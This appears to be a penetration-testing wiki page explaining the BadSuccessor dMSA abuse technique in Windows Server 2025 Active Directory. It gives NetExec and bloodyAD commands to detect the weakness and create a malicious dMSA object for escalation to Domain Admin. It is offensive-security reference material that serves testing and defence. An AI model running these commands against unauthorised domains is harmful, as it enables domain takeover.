BadSuccessor (dMSA abuse)
Theory
In Windows Server 2025, Microsoft introduced delegated Managed Service Accounts (dMSAs). A dMSA is a new type of service account in Active Directory (AD) that expands on the capabilities of group Managed Service Accounts (gMSAs).
If we have GenericAll, CreateChild, WriteDACL, or WriteOwner permissions on any OU—or can modify an existing dMSA, we can escalate from low-level access to full Domain Admin via the BadSuccessor technique.
Exploiting this vector does not require the domain to actively use dMSAs. The feature is automatically enabled in any domain that includes at least one Windows Server 2025 domain controller, and its presence alone is enough to make the attack path viable.
Practice
NetExec (Python) can be used to enulerate if a a target is vulnerable to bad successor attack
netexec ldap $DC_IP -u $USER -p $PASSWORD -M badsuccessorWe can then exploit it using BloodyAd (Python).
# Enumerate writable attributes for the user we are authenticating as
bloodyAD -d $DOMAIN_FQDN -u $USER -p $PASSWORD --host $DC_FQDN get writable --detail
# BadSuccessor attack to create the dMSA object called dmsa_pwn
bloodyAD -d $DOMAIN_FQDN -u $USER -p $PASSWORD --host $DC_FQDN add badSuccessor dmsa_pwnResources
www.akamai.comwww.akamai.com
Understanding & Mitigating BadSuccessorspecterops.io